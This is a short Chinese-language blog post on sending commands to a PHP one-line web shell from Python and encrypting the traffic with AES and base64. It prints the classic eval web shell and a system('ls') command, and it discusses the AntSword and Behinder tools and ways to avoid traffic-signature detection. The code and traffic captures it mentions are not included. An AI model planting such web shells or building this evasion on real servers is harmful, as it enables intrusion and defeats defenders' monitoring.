前面寫的:
Python連接PHP木馬,並加密傳輸數據
如果在服務器上寫入最經典的那個一句話木馬 <?php @eval($POST['aaa']);?>
,然後傳一個 system('ls');
命令,不進行加密,代碼如下:
那麼抓取的流量如下:
如果先進行 AES 加密,再使用 base64 編碼,代碼如下:
那麼抓取的流量如下:
可以看出加密與不加密的效果對比。
其實可以看到,我在 Python 代碼裡實現了加密,在 PHP 木馬中實現了解密,因此,一句話木馬
也就變成了 “幾句話木馬”
。
如果僅僅通過一句話實現各種功能,同時還要實現流量的混淆該怎麼做呢?
那不就是蟻劍嗎?(蟻劍本身是不加密的)
雖然蟻劍可以通過一句話木馬實現很豐富的功能,但是也存在問題。
蟻劍可以對數據進行編碼,然後將 解碼函數
和 待執行的命令
,一同發送到服務端,在服務端解碼。
因為發送的解碼函數無法加密,所以會產生流量特征,對蟻劍進行改造,編寫自己的解碼函數,可以在一定程度上解決這個問題。
如果使用過流量加密的冰蠍就會知道,裡面使用的木馬都不是一句話木馬。
如果目標系統對傳輸的流量數據進行特征檢測,那麼冰蠍的 shell 會是更好的選擇。